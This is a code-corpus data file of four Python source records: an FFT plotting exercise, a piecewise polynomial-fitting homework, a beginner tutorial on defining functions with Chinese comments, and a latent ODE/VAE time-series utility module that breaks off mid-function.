+{"seq_id":"421722060","text":"import numpy as np\nimport time\nimport matplotlib.pyplot as plt\n\nnp.set_printoptions(precision=5, suppress=True)\nN = 8\nx = np.array([1,2,3,4,2,1,4,3])\n\nh = (-0.5)**np.arange(N)\nfor i in range(N):\n\tif i > 1:\n\t\th[i] += np.power(-0.5,i-2)\n\ndef dft(x):\n\tn = len(x)\n\tF = np.zeros((n,n),dtype=np.complex128)\n\tfor i in range(n):\n\t\tfor j in range(n):\n\t\t\t\tF[i][j] = np.exp(-2j*np.pi*i*j/n)\n\treturn F@x\n\ndef fft(x):\t\n\tn = len(x)\n\t\n\tif(n == 2):\n\t\treturn np.hstack((x[0]+x[1], x[0]-x[1]))\n\t\n\tX1 = fft(x[::2])\n\tX2 = fft(x[1::2])\n\t\n\tD = np.zeros((n//2,), dtype=np.complex128)\n\tfor i in range(n//2):\n\t\tD[i] = np.exp(-2j*np.pi*i/n)\n\t\n\tX_u = X1 + D*X2\n\tX_l = X1 - D*X2\n\t\n\treturn np.hstack((X_u,X_l))\n\nX = fft(x)\nH = fft(h)\nY = X*H\n\nplt.figure(figsize=(9,15))\n\nplt.subplot(3,2,1)\nplt.stem(np.abs(X),use_line_collection=True)\nplt.title('$|X(k)|$')\nplt.grid()\n\nplt.subplot(3,2,2)\nplt.stem(np.angle(X),use_line_collection=True)\nplt.title(r'$\\angle{X(k)}$')\nplt.grid()\n\nplt.subplot(3,2,3)\nplt.stem(np.abs(H),use_line_collection=True)\nplt.title('$|H(k)|$')\nplt.grid()\n\nplt.subplot(3,2,4)\nplt.stem(np.angle(H),use_line_collection=True)\nplt.title(r'$\\angle{H(k)}$')\nplt.grid()\n\nplt.subplot(3,2,5)\nplt.stem(np.abs(Y),use_line_collection=True)\nplt.title('$|Y(k)|$')\nplt.grid()\n\nplt.subplot(3,2,6)\nplt.stem(np.angle(Y),use_line_collection=True)\nplt.title(r'$\\angle{Y(k)}$')\nplt.grid()\nplt.savefig('../figs/EE18BTECH11018_2.eps')\n\nplt.subplots_adjust(hspace=0.5)\nplt.show()\n","sub_path":"codes/EE18BTECH11018_2.py","file_name":"EE18BTECH11018_2.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"33797715","text":"### Dealing with the algorithm\ndef recursiveMinPolyError(ys, c, i, j, m, errorMemory, pivotMemory) :\n    pivotCost = c if i != 0 else 0\n    if j-i <= m :\n        return pivotCost\n    elif j-i == m + 1 :\n        return calculateError(ys, i, j, m) + pivotCost\n    else :\n        if (i,j) not in errorMemory :\n            error = [(recursiveMinPolyError(ys, c, i, k, m, errorMemory, pivotMemory) + recursiveMinPolyError(ys, c, k+1, j, m, errorMemory, pivotMemory), k) for k in range(i, j) ]\n            error.append((calculateError(ys, i, j, m) + pivotCost, j))\n            pivot = min(error)[1]\n            pivotMemory.add(pivot)\n            minVal = min(error)[0]\n            errorMemory[(i,j)] = minVal\n            return minVal\n        else :\n            return errorMemory[(i,j)]\n\ndef calculateError(ys, i, j, m) :\n    n = j-i+1\n    mMat = [[q**p for p in range(m+1)] for q in range(1,n+1)]\n    yMat = [[y] for y in ys[i:j+1][:]]\n    aMat = matriceMultiplication(inverseMatrix(matriceMultiplication(list(zip(*mMat)), mMat)), matriceMultiplication(list(zip(*mMat)), yMat))\n    error = 0\n    yy = ys[i:j+1]\n    for x in range(1,j-i+2) :\n        term = 0\n        for i, a in enumerate(aMat) :\n            term += a[0] * (x ** i)\n        error += (term - yy[x-1]) ** 2\n    return error\n\n\n\n### Dealing with calculation of matrices\ndef matriceSerialMultiplication(matrice) :\n    matrice = matrice[:]\n    matrix = matrice.pop(0)\n    for mat in matrice :\n        matrix = matriceMultiplication(matrix, mat)\n    return matrix\n\ndef matriceMultiplication(mat1, mat2) :\n    output = [[sum([pair[0] * pair[1] for pair in zip(mat1Row, mat2Col)]) for mat2Col in zip(*mat2)]for mat1Row in mat1]\n    return output\n\ndef subMatrix(mat, deletedRow, deletedCol):\n    return [row[:deletedCol] + row[deletedCol+1:] for row in (mat[:deletedRow]+mat[deletedRow+1:])]\n\ndef deternminant(mat):\n    if len(mat) == 2:\n        return mat[0][0]*mat[1][1]-mat[0][1]*mat[1][0]\n    res = 0\n    for i in range(len(mat)):\n        res += (-1) ** i * mat[0][i] * deternminant(subMatrix(mat,0,i))\n    return res\n\ndef inverseMatrix(mat):\n    det = float(deternminant(mat))\n    if len(mat) == 2:\n        return [[mat[1][1]/det, -1*mat[0][1]/det], [-1*mat[1][0]/det, mat[0][0]/det]]\n    cofMat = [[int(((-1) ** (i+j) * deternminant(subMatrix(mat, i, j)) / det) * 10 ** 5)/100000.0 for j in range(len(mat))] for i in range(len(mat))]\n    return list(zip(*cofMat))\n\n\n\n### Main\nif __name__ == '__main__' :\n    params = input()\n    ys = input()\n    params, ys = params.split(' '), ys.split(' ')\n    params, ys = [int(param) for param in params], [float(y) for y in ys]\n    errorMemory = dict()\n    pivotMemory = set()\n    m, c, i, j = params[1], params[2], 0, len(ys) - 1\n    print (int(round((recursiveMinPolyError(ys, c, i, j, m, errorMemory, pivotMemory)))))","sub_path":"b04901081_hw2/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"87796725","text":"import math\n#定义函数 一定要使用def\n#deef 函数名 括号（） 括号中的参数 冒号： 注意缩进 使用return语句返回\n#下面定义一个求绝对值的函数\ndef my_abs(x):\n    if x>= 0:\n        return x\n    else:\n        return -x\nprint(my_abs(9))\n\n##空函数 pass语句 pass语句也可以用在其他语句中 如if\n#def nop():\n#    pass\n\n#函数的参数检查  如果参数不会 py的解释器会抛出typeerror的异常 但是无法检查出内置函数和自定义函数的的差别\n#下面修改\n#def my_abss(y):\n#    if not isinstance(y(int,float)):\n#        raise TypeError('bad operand type')\n#    if y>=0:\n#        return y\n#    else:\n#        return -y\n#print(my_abss(\"a\"))\n\n#返回多个值\ndef move(a,b,step,angle=0):\n    na=a+step*math.cos(angle)\n    nb=b-step*math.sin(angle)\n    return na,nb\nr=move(100,100,60,math.pi/6)\nprint(r)\n","sub_path":"FirstPython/FirstPython/定义函数.py","file_name":"定义函数.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"104561930","text":"# Ref: Neural Flows\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Independent, kl_divergence\nfrom torch.distributions.normal import Normal\n\nDEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nDATA_DIR = Path(\"./data\")\nLOCAL = False\n\n\ndef basic_collate_fn(\n    batch,\n    time_steps,\n    extrap=False,\n    data=\"\",\n    device=DEVICE,\n    data_type=\"train\",\n    observe_step=1,\n    predict_step=1,\n):\n    batch = torch.stack(batch)\n    data_dict = {\n        \"data\": batch,\n        \"time_steps\": time_steps.unsqueeze(0),\n    }\n    data_dict = split_and_subsample_batch(\n        data_dict,\n        extrap=extrap,\n        data=data,\n        data_type=data_type,\n        observe_step=observe_step,\n        predict_step=predict_step,\n    )\n    return data_dict\n\n\ndef variable_time_collate_fn(\n    batch,\n    extrap=0,\n    data=\"\",\n    device=DEVICE,\n    data_type=\"train\",\n    data_min=None,\n    data_max=None,\n):\n    \"\"\"\n    Expects a batch of time series data in the form of (record_id, tt, vals, mask, labels) where\n            - record_id is a patient id\n            - tt is a 1-dimensional tensor containing T time values of observations.\n            - vals is a (T, D) tensor containing observed values for D variables.\n            - mask is a (T, D) tensor containing 1 where values were observed and 0 otherwise.\n            - labels is a list of labels for the current patient, if labels are available. Otherwise None.\n    Returns:\n            combined_tt: The union of all time observations.\n            combined_vals: (M, T, D) tensor containing the observed values.\n            combined_mask: (M, T, D) tensor containing 1 where values were observed and 0 otherwise.\n    \"\"\"\n    D = batch[0][2].shape[1]\n\n    lens = [len(x[1]) for x in batch]\n    max_len = max(lens)\n\n    combined_tt = torch.stack(\n        [torch.cat([x[1], torch.zeros(max_len - l)], 0) for x, l in zip(batch, lens)], 0\n    ).double()\n    combined_vals = torch.stack(\n        [\n            torch.cat([x[2], torch.zeros(max_len - l, D)], 0)\n            for x, l in zip(batch, lens)\n        ],\n        0,\n    ).double()\n    combined_mask = torch.stack(\n        [\n            torch.cat([x[3], torch.zeros(max_len - l, D)], 0)\n            for x, l in zip(batch, lens)\n        ],\n        0,\n    ).double()\n    combined_labels = (\n        torch.stack(\n            [torch.tensor(float(\"nan\")) if x[4] is None else x[4] for x in batch], 0\n        )\n        .to(device)\n        .double()\n    )\n    combined_labels = combined_labels.unsqueeze(-1)\n\n    # Normalize data an time\n    combined_vals, _, _ = normalize_masked_data(\n        combined_vals, combined_mask, data_min, data_max\n    )\n    combined_tt = combined_tt / 48.0\n\n    data_dict = {\n        \"data\": combined_vals,  # (batch, sequence length, dim=41)\n        \"time_steps\": combined_tt,  # (batch, sequence length)\n        \"mask\": combined_mask,  # (batch, sequence length, dim=41)\n        \"labels\": combined_labels,  # (batch, 1)\n    }\n\n    data_dict = split_and_subsample_batch(data_dict, extrap=extrap, data_type=data_type)\n    return data_dict\n\n\ndef split_and_subsample_batch(\n    data_dict, extrap=False, data=\"\", data_type=\"train\", observe_step=1, predict_step=1\n):\n    if data_type == \"train\":\n        # Training set\n        if extrap:\n            processed_dict = split_data_extrap(\n                data_dict,\n                dataset=data,\n                observe_step=observe_step,\n                predict_step=predict_step,\n            )\n        else:\n            processed_dict = split_data_interp(data_dict)\n    else:\n        # Test set\n        if extrap:\n            processed_dict = split_data_extrap(\n                data_dict,\n                dataset=data,\n                observe_step=observe_step,\n                predict_step=predict_step,\n            )\n        else:\n            processed_dict = split_data_interp(data_dict)\n\n    # add mask\n    processed_dict = add_mask(processed_dict)\n    return processed_dict\n\n\ndef split_last_dim(data):\n    last_dim = data.size()[-1]\n    last_dim = last_dim // 2\n\n    if len(data.size()) == 3:\n        res = data[:, :, :last_dim], data[:, :, last_dim:]\n\n    if len(data.size()) == 2:\n        res = data[:, :last_dim], data[:, last_dim:]\n    return res\n\n\ndef init_network_weights(net, std=0.1):\n    for m in net.modules():\n        if isinstance(m, nn.Linear):\n            nn.init.normal_(m.weight, mean=0, std=std)\n            nn.init.constant_(m.bias, val=0)\n\n\ndef get_device(tensor):\n    device = torch.device(\"cpu\")\n    if tensor.is_cuda:\n        device = tensor.get_device()\n    return device\n\n\ndef sample_standard_gaussian(mu, sigma):\n    device = get_device(mu)\n\n    d = torch.distributions.normal.Normal(\n        torch.Tensor([0.0]).to(device), torch.Tensor([1.0]).to(device)\n    )\n    r = d.sample(mu.size()).squeeze(-1)\n    return r * sigma.float() + mu.float()\n\n\ndef split_train_val_test(data, train_frac=0.6, val_frac=0.2):\n    n_samples = len(data)\n    data_train = data[: int(n_samples * train_frac)]\n    data_val = data[\n        int(n_samples * train_frac) : int(n_samples * (train_frac + val_frac))\n    ]\n    data_test = data[int(n_samples * (train_frac + val_frac)) :]\n    return data_train, data_val, data_test\n\n\ndef linspace_vector(start, end, n_points):\n    # start is either one value or a vector\n    size = np.prod(start.size())\n\n    if start.size() != end.size():\n        raise ValueError(\"Invalid start end size\")\n    if size == 1:\n        # start and end are 1d-tensors\n        res = torch.linspace(start, end, n_points)\n    else:\n        # start and end are vectors\n        res = torch.Tensor()\n        for i in range(0, start.size(0)):\n            res = torch.cat((res, torch.linspace(start[i], end[i], n_points)), 0)\n        res = torch.t(res.reshape(start.size(0), n_points))\n    return res\n\n\ndef reverse(tensor):\n    idx = [i for i in range(tensor.size(0) - 1, -1, -1)]\n    return tensor[idx]\n\n\ndef create_net(n_inputs, n_outputs, n_layers=1, n_units=100, nonlinear=nn.Tanh):\n    layers = [nn.Linear(n_inputs, n_units)]\n    for i in range(n_layers):\n        layers.append(nonlinear())\n        layers.append(nn.Linear(n_units, n_units))\n\n    layers.append(nonlinear())\n    layers.append(nn.Linear(n_units, n_outputs))\n    return nn.Sequential(*layers)\n\n\ndef get_dict_template():\n    return {\n        \"observed_data\": None,\n        \"observed_tp\": None,\n        \"data_to_predict\": None,\n        \"tp_to_predict\": None,\n        \"observed_mask\": None,\n        \"mask_predicted_data\": None,\n        \"labels\": None,\n    }\n\n\ndef normalize_data(data):\n    reshaped = data.reshape(-1, data.size(-1))\n\n    att_min = torch.min(reshaped, 0)[0]\n    att_max = torch.max(reshaped, 0)[0]\n\n    # we don't want to divide by zero\n    att_max[att_max == 0.0] = 1.0\n\n    if (att_max != 0.0).all():\n        data_norm = (data - att_min) / att_max\n    else:\n        raise Exception(\"Zero!\")\n\n    if torch.isnan(data_norm).any():\n        raise Exception(\"nans!\")\n\n    return data_norm, att_min, att_max\n\n\ndef normalize_masked_data(data, mask, att_min, att_max):\n    # we don't want to divide by zero\n    att_max[att_max == 0.0] = 1.0\n\n    if (att_max != 0.0).all():\n        data_norm = (data - att_min) / att_max\n    else:\n        raise Exception(\"Zero!\")\n\n    if torch.isnan(data_norm).any():\n        raise Exception(\"nans!\")\n\n    # set masked out elements back to zero\n    data_norm[mask == 0] = 0\n\n    return data_norm, att_min, att_max\n\n\ndef shift_outputs(outputs, first_datapoint=None):\n    outputs = outputs[:, :, :-1, :]\n\n    if first_datapoint is not None:\n        n_traj, n_dims = first_datapoint.size()\n        first_datapoint = first_datapoint.reshape(1, n_traj, 1, n_dims)\n        outputs = torch.cat((first_datapoint, outputs), 2)\n    return outputs\n\n\ndef split_data_extrap(data_dict, dataset=\"\", observe_step=1, predict_step=1):\n    n_observed_tp = data_dict[\"data\"].size(1) // 2\n    if dataset == \"hopper\":\n        n_observed_tp = data_dict[\"data\"].size(1) // 3\n\n    split_dict = {\n        \"observed_data\": data_dict[\"data\"][:, :n_observed_tp, :][\n            :, ::observe_step, :\n        ].clone(),\n        \"observed_tp\": data_dict[\"time_steps\"][:, :n_observed_tp][\n            :, ::observe_step\n        ].clone(),\n        \"data_to_predict\": data_dict[\"data\"][:, n_observed_tp:, :][\n            :, ::predict_step, :\n        ].clone(),\n        \"tp_to_predict\": data_dict[\"time_steps\"][:, n_observed_tp:][\n            :, ::predict_step\n        ].clone(),\n    }\n\n    split_dict[\"observed_mask\"] = None\n    split_dict[\"mask_predicted_data\"] = None\n    split_dict[\"labels\"] = None\n\n    if (\"mask\" in data_dict) and (data_dict[\"mask\"] is not None):\n        split_dict[\"observed_mask\"] = data_dict[\"mask\"][:, :n_observed_tp].clone()\n        split_dict[\"mask_predicted_data\"] = data_dict[\"mask\"][:, n_observed_tp:].clone()\n\n    if (\"labels\" in data_dict) and (data_dict[\"labels\"] is not None):\n        split_dict[\"labels\"] = data_dict[\"labels\"].clone()\n\n    split_dict[\"mode\"] = \"extrap\"\n    return split_dict\n\n\ndef split_data_interp(data_dict):\n    split_dict = {\n        \"observed_data\": data_dict[\"data\"].clone(),\n        \"observed_tp\": data_dict[\"time_steps\"].clone(),\n        \"data_to_predict\": data_dict[\"data\"].clone(),\n        \"tp_to_predict\": data_dict[\"time_steps\"].clone(),\n    }\n\n    split_dict[\"observed_mask\"] = None\n    split_dict[\"mask_predicted_data\"] = None\n    split_dict[\"labels\"] = None\n\n    if \"mask\" in data_dict and data_dict[\"mask\"] is not None:\n        split_dict[\"observed_mask\"] = data_dict[\"mask\"].clone()\n        split_dict[\"mask_predicted_data\"] = data_dict[\"mask\"].clone()\n\n    if (\"labels\" in data_dict) and (data_dict[\"labels\"] is not None):\n        split_dict[\"labels\"] = data_dict[\"labels\"].clone()\n\n    split_dict[\"mode\"] = \"interp\"\n    return split_dict\n\n\ndef add_mask(data_dict):\n    data = data_dict[\"observed_data\"]\n    mask = data_dict[\"observed_mask\"]\n\n    if mask is None:\n        mask = torch.ones_like(data).to(get_device(data))\n\n    data_dict[\"observed_mask\"] = mask\n    return data_dict\n\n\ndef compute_loss_all_batches(\n    model,\n    dl,\n    device,\n    classify=0,\n    data=\"\",\n    n_traj_samples=3,\n    kl_coef=1.0,\n    max_samples_for_eval=None,\n):\n    total = {}\n    total[\"loss\"] = 0\n    total[\"likelihood\"] = 0\n    total[\"mse\"] = 0\n    total[\"acc\"] = 0\n    total[\"kl_first_p\"] = 0\n    total[\"std_first_p\"] = 0\n    total[\"pois_likelihood\"] = 0\n    total[\"ce_loss\"] = 0\n\n    n_test_batches = 0\n\n    classif_predictions = torch.Tensor([]).to(device)\n    all_test_labels = torch.Tensor([]).to(device)\n\n    for batch_dict in dl:\n        results = model.compute_all_losses(\n            batch_dict, n_traj_samples=n_traj_samples, kl_coef=kl_coef\n        )\n\n        if classify and data != \"hopper\":\n            n_labels = model.n_labels  # batch_dict['labels'].size(-1)\n            n_traj_samples = results[\"label_predictions\"].size(0)\n\n            classif_predictions = torch.cat(\n                (\n                    classif_predictions,\n                    results[\"label_predictions\"].reshape(n_traj_samples, -1, n_labels),\n                ),\n                1,\n            )\n            all_test_labels = torch.cat(\n                (all_test_labels, batch_dict[\"labels\"].reshape(-1, n_labels)), 0\n            )\n\n        for key in total.keys():\n            if key in results:\n                var = results[key]\n                if isinstance(var, torch.Tensor):\n                    var = var.detach()\n                total[key] += var\n\n        n_test_batches += 1\n\n    if n_test_batches > 0:\n        for key, _ in total.items():\n            total[key] = total[key] / n_test_batches\n\n    if classify:\n        if data == \"physionet\":\n            all_test_labels = all_test_labels.repeat(n_traj_samples, 1, 1)\n\n            idx_not_nan = ~torch.isnan(all_test_labels)\n            classif_predictions = classif_predictions[idx_not_nan]\n            all_test_labels = all_test_labels[idx_not_nan]\n\n            total[\"acc\"] = 0.0  # AUC score\n            if torch.sum(all_test_labels) != 0.0:\n                print(f\"Number of labeled examples: {len(all_test_labels.reshape(-1))}\")\n                print(\n                    \"Number of examples with mortality 1: {}\".format(\n                        torch.sum(all_test_labels == 1.0)\n                    )\n                )\n\n                # Cannot compute AUC with only 1 class\n                import sklearn as sk\n\n                total[\"acc\"] = sk.metrics.roc_auc_score(\n                    all_test_labels.cpu().numpy().reshape(-1),\n                    classif_predictions.cpu().numpy().reshape(-1),\n                )\n            else:\n                print(\n                    \"Warning: Couldn't compute AUC -- all examples are from the same class\"\n                )\n\n        if data == \"activity\":\n            all_test_labels = all_test_labels.repeat(n_traj_samples, 1, 1)\n\n            labeled_tp = torch.sum(all_test_labels, -1, keepdim=True) > 0.0\n            labeled_tp = labeled_tp.repeat_interleave(all_test_labels.shape[-1], -1)\n\n            all_test_labels = all_test_labels[labeled_tp].view(\n                -1, all_test_labels.shape[-1]\n            )\n            classif_predictions = classif_predictions[labeled_tp].view(\n                -1, all_test_labels.shape[-1]\n            )\n\n            # classif_predictions and all_test_labels are in on-hot-encoding -- convert to class ids\n            _, pred_class_id = torch.max(classif_predictions, -1)\n            _, class_labels = torch.max(all_test_labels, -1)\n\n            total[\"acc\"] = torch.sum(class_labels == pred_class_id).item() / sum(\n                class_labels.shape\n            )\n\n    return total\n\n\ndef check_mask(data, mask):\n    # check that 'mask' argument indeed contains a mask for data\n    n_zeros = torch.sum(mask == 0.0).cpu().numpy()\n    n_ones = torch.sum(mask == 1.0).cpu().numpy()\n\n    # mask should contain only zeros and ones\n    if (n_zeros + n_ones) != np.prod(list(mask.size())):\n        raise ValueError(\"Invalid one zero mask\")\n\n    # all masked out elements should be zeros\n    if torch.sum(data[mask == 0.0] != 0.0) != 0:\n        raise ValueError(\"Invalid mask sum\")\n\n\ndef create_classifier(z0_dim, n_labels):\n    return nn.Sequential(\n        nn.Linear(z0_dim, 300),\n        nn.ReLU(),\n        nn.Linear(300, 300),\n        nn.ReLU(),\n        nn.Linear(300, n_labels),\n    )\n\n\nclass VAE_Baseline(nn.Module):\n    def __init__(\n        self,\n        input_dim,\n        latent_dim,\n        z0_prior,\n        device,\n        obsrv_std=0.01,\n        use_binary_classif=False,\n        classif_per_tp=False,\n        use_poisson_proc=False,\n        linear_classifier=False,\n        n_labels=1,\n        train_classif_w_reconstr=False,\n    ):\n\n        super(VAE_Baseline, self).__init__()\n\n        self.input_dim = input_dim\n        self.latent_dim = latent_dim\n        self.device = device\n        self.n_labels = n_labels\n\n        self.obsrv_std = torch.Tensor([obsrv_std]).to(device)\n\n        self.z0_prior = z0_prior\n        self.use_binary_classif = use_binary_classif\n        self.classif_per_tp = classif_per_tp\n        self.use_poisson_proc = use_poisson_proc\n        self.linear_classifier = linear_classifier\n        self.train_classif_w_reconstr = train_classif_w_reconstr\n\n        z0_dim = latent_dim\n        if use_poisson_proc:\n            z0_dim += latent_dim\n\n        if use_binary_classif:\n            if linear_classifier:\n                self.classifier = nn.Sequential(nn.Linear(z0_dim, n_labels))\n            else:\n                self.classifier = create_classifier(z0_dim, n_labels)\n            init_network_weights(self.classifier)\n\n    def get_gaussian_likelihood(self, truth, pred_y, mask=None):\n        # pred_y shape [n_traj_samples, n_traj, n_tp, n_dim]\n        # truth shape  [n_traj, n_tp, n_dim]\n        n_traj, n_tp, n_dim = truth.size()\n\n        # Compute likelihood of the data under the predictions\n        truth_repeated = truth.repeat(pred_y.size(0), 1, 1, 1)\n\n        if mask is not None:\n            mask = mask.repeat(pred_y.size(0), 1, 1, 1)\n        log_density_data = masked_gaussian_log_density(\n            pred_y, truth_repeated, obsrv_std=self.obsrv_std, mask=mask\n        )\n        log_density_data = log_density_data.permute(1, 0)\n        log_density = torch.mean(log_density_data, 1)\n\n        # shape: [n_traj_samples]\n        return log_density\n\n    def get_mse(self, truth, pred_y, mask=None):\n        # pred_y shape [n_traj_samples, n_traj, n_tp, n_dim]\n        # truth shape  [n_traj, n_tp, n_dim]\n        n_traj, n_tp, n_dim = truth.size()\n\n        # Compute likelihood of the data under the predictions\n        truth_repeated = truth.repeat(pred_y.size(0), 1, 1, 1)\n\n        if mask is not None:\n            mask = mask.repeat(pred_y.size(0), 1, 1, 1)\n\n        # Compute likelihood of the data under the predictions\n        log_density_data = compute_mse(pred_y, truth_repeated, mask=mask)\n        # shape: [1]\n        return torch.mean(log_density_data)\n\n    def compute_all_losses(self, batch_dict, n_traj_samples=1, kl_coef=1.0):\n        # Condition on subsampled points\n        # Make predictions for all the points\n        pred_y, info = self.get_reconstruction(\n            batch_dict[\"tp_to_predict\"],\n            batch_dict[\"observed_data\"],\n            batch_dict[\"observed_tp\"],\n            mask=batch_dict[\"observed_mask\"],\n            n_traj_samples=n_traj_samples,\n            mode=batch_dict[\"mode\"],\n        )\n\n        # print('get_reconstruction done -- computing likelihood')\n        fp_mu, fp_std, fp_enc = info[\"first_point\"]\n        fp_distr = Normal(fp_mu, fp_std)\n\n        if torch.sum(fp_std < 0) != 0.0:\n            raise ValueError(\"Invalid fp_std\")\n\n        kldiv_z0 = kl_divergence(fp_distr, self.z0_prior)\n\n        if torch.isnan(kldiv_z0).any():\n            print(fp_mu)\n            print(fp_std)\n            raise Exception(\"kldiv_z0 is Nan!\")\n\n        # Mean over number of latent dimensions\n        # kldiv_z0 shape: [n_traj_samples, n_traj, n_latent_dims] if prior is a mixture of gaussians (KL is estimated)\n        # kldiv_z0 shape: [1, n_traj, n_latent_dims] if prior is a standard gaussian (KL is computed exactly)\n        # shape after: [n_traj_samples]\n        kldiv_z0 = torch.mean(kldiv_z0, (1, 2))\n\n        # Compute likelihood of all the points\n        rec_likelihood = self.get_gaussian_likelihood(\n            batch_dict[\"data_to_predict\"],\n            pred_y,\n            mask=batch_dict[\"mask_predicted_data\"],\n        )\n\n        mse = self.get_mse(\n            batch_dict[\"data_to_predict\"],\n            pred_y,\n            mask=batch_dict[\"mask_predicted_data\"],\n        )\n\n        pois_log_likelihood = torch.Tensor([0.0]).to(batch_dict[\"data_to_predict\"])\n        if self.use_poisson_proc:\n            pois_log_likelihood = compute_poisson_proc_likelihood(\n                batch_dict[\"data_to_predict\"],\n                pred_y,\n                info,\n                mask=batch_dict[\"mask_predicted_data\"],\n            )\n            # Take mean over n_traj\n            pois_log_likelihood = torch.mean(pois_log_likelihood, 1)\n\n        ################################\n        # Compute CE loss for binary classification on Physionet\n        ce_loss = torch.Tensor([0.0]).to(batch_dict[\"data_to_predict\"])\n        if (batch_dict[\"labels\"] is not None) and self.use_binary_classif:\n\n            if (batch_dict[\"labels\"].size(-1) == 1) or (\n                len(batch_dict[\"labels\"].size()) == 1\n            ):\n                ce_loss = compute_binary_CE_loss(\n                    info[\"label_predictions\"], batch_dict[\"labels\"]\n                )\n            else:\n                ce_loss = compute_multiclass_CE_loss(\n                    info[\"label_predictions\"],\n                    batch_dict[\"labels\"],\n                    mask=batch_dict[\"mask_predicted_data\"],\n                )\n\n        # IWAE loss\n        loss = -torch.logsumexp(rec_likelihood - kl_coef * kldiv_z0, 0)\n        if torch.isnan(loss):\n            loss = -torch.mean(rec_likelihood - kl_coef * kldiv_z0, 0)\n\n        if self.use_poisson_proc:\n            loss = loss - 0.1 * pois_log_likelihood\n\n        if self.use_binary_classif:\n            if self.train_classif_w_reconstr:\n                loss = loss + ce_loss * 100\n            else:\n                loss = ce_loss\n\n        results = {}\n        results[\"loss\"] = torch.mean(loss)\n        results[\"likelihood\"] = torch.mean(rec_likelihood).detach()\n        results[\"mse\"] = torch.mean(mse).detach()\n        results[\"pois_likelihood\"] = torch.mean(pois_log_likelihood).detach()\n        results[\"ce_loss\"] = torch.mean(ce_loss).detach()\n        results[\"kl_first_p\"] = torch.mean(kldiv_z0).detach()\n        results[\"std_first_p\"] = torch.mean(fp_std).detach()\n\n        if batch_dict[\"labels\"] is not None and self.use_binary_classif:\n            results[\"label_predictions\"] = info[\"label_predictions\"].detach()\n\n        return results\n\n\ndef get_mask(x):\n    x = x.unsqueeze(0)\n    n_data_dims = x.size(-1) // 2\n    mask = x[:, :, n_data_dims:]\n    check_mask(x[:, :, :n_data_dims], mask)\n    mask = (torch.sum(mask, -1, keepdim=True) > 0).float()\n    if torch.isnan(mask).any():\n        raise ValueError(\"Mask contains NaNs\")\n    return mask.squeeze(0)\n\n\nclass Encoder_z0_ODE_RNN(nn.Module):\n    def __init__(\n        self,\n        latent_dim,\n        input_dim,\n        z0_diffeq_solver=None,\n        z0_dim=None,\n        n_gru_units=100,\n        device=torch.device(\"cpu\"),\n    ):\n        super().__init__()\n\n        if z0_dim is None:\n            self.z0_dim = latent_dim\n        else:\n            self.z0_dim = z0_dim\n\n        self.lstm = nn.LSTMCell(input_dim, latent_dim)\n\n        self.z0_diffeq_solver = z0_diffeq_solver\n        self.latent_dim = latent_dim\n        self.input_dim = input_dim\n        self.device = device\n        self.extra_info = None\n\n        self.transform_z0 = nn.Sequential(\n            nn.Linear(latent_dim, 100),\n            nn.Tanh(),\n            nn.Linear(100, self.z0_dim * 2),\n        )\n        init_network_weights(self.transform_z0)\n\n    def forward(self, data, time_steps, run_backwards=True, save_info=False):\n        if torch.isnan(data).any():\n            raise ValueError(\"Mask should not contain NaNs\")\n        if torch.isnan(time_steps).any():\n            raise ValueError(\"Time steps should not contain NaNs\")\n\n        n_traj, n_tp, n_dims = data.size()\n        latent = self.run_odernn(data, time_steps, run_backwards)\n\n        latent = latent.reshape(1, n_traj, self.latent_dim)\n\n        mean_z0, std_z0 = self.transform_z0(latent).chunk(2, dim=-1)\n        std_z0 = F.softplus(std_z0)\n\n        return mean_z0, std_z0\n\n    def run_odernn(self, data, time_steps, run_backwards=True):\n        batch_size, n_tp, n_dims = data.size()\n        prev_t, t_i = time_steps[:, -1] + 0.01, time_steps[:, -1]\n\n        time_points_iter = range(0, time_steps.shape[1])\n        if run_backwards:\n            time_points_iter = reversed(time_points_iter)\n\n        h = torch.zeros(batch_size, self.latent_dim).to(data)\n        c = torch.zeros(batch_size, self.latent_dim).to(data)\n\n        for i in time_points_iter:\n            t = (t_i - prev_t).unsqueeze(1)\n            h = self.z0_diffeq_solver(h.unsqueeze(1), t).squeeze(1)\n\n            xi = data[:, i, :]\n            h_, c_ = self.lstm(xi, (h, c))\n            mask = get_mask(xi)\n\n            h = mask * h_ + (1 - mask) * h\n            c = mask * c_ + (1 - mask) * c\n\n            prev_t, t_i = time_steps[:, i], time_steps[:, i - 1]\n\n        return h\n\n\nclass Decoder(nn.Module):\n    def __init__(self, latent_dim, input_dim):\n        super().__init__()\n        decoder = nn.Sequential(\n            nn.Linear(latent_dim, input_dim),\n        )\n        init_network_weights(decoder)\n        self.decoder = decoder\n\n    def forward(self, data):\n        return self.decoder(data)\n\n\ndef gaussian_log_likelihood(mu_2d, data_2d, obsrv_std, indices=None):\n    n_data_points = mu_2d.size()[-1]\n\n    if n_data_points > 0:\n        gaussian = Independent(\n            Normal(loc=mu_2d, scale=obsrv_std.repeat(n_data_points)), 1\n        )\n        log_prob = gaussian.log_prob(data_2d)\n        log_prob = log_prob / n_data_points\n    else:\n        log_prob = torch.zeros([1]).to(data_2d).squeeze()\n    return log_prob\n\n\ndef poisson_log_likelihood(masked_log_lambdas, masked_data, indices, int_lambdas):\n    # masked_log_lambdas and masked_data\n    n_data_points = masked_data.size()[-1]\n\n    if n_data_points > 0:\n        log_prob = torch.sum(masked_log_lambdas) - int_lambdas[indices]\n        # log_prob = log_prob / n_data_points\n    else:\n        log_prob = torch.zeros([1]).to(masked_data).squeeze()\n    return log_prob\n\n\ndef compute_binary_CE_loss(label_predictions, mortality_label):\n    # print('Computing binary classification loss: compute_CE_loss')\n\n    mortality_label = mortality_label.reshape(-1)\n\n    if len(label_predictions.size()) == 1:\n        label_predictions = label_predictions.unsqueeze(0)\n\n    n_traj_samples = label_predictions.size(0)\n    label_predictions = label_predictions.reshape(n_traj_samples, -1)\n\n    idx_not_nan = ~torch.isnan(mortality_label)\n    if len(idx_not_nan) == 0.0:\n        print(\"All are labels are NaNs!\")\n      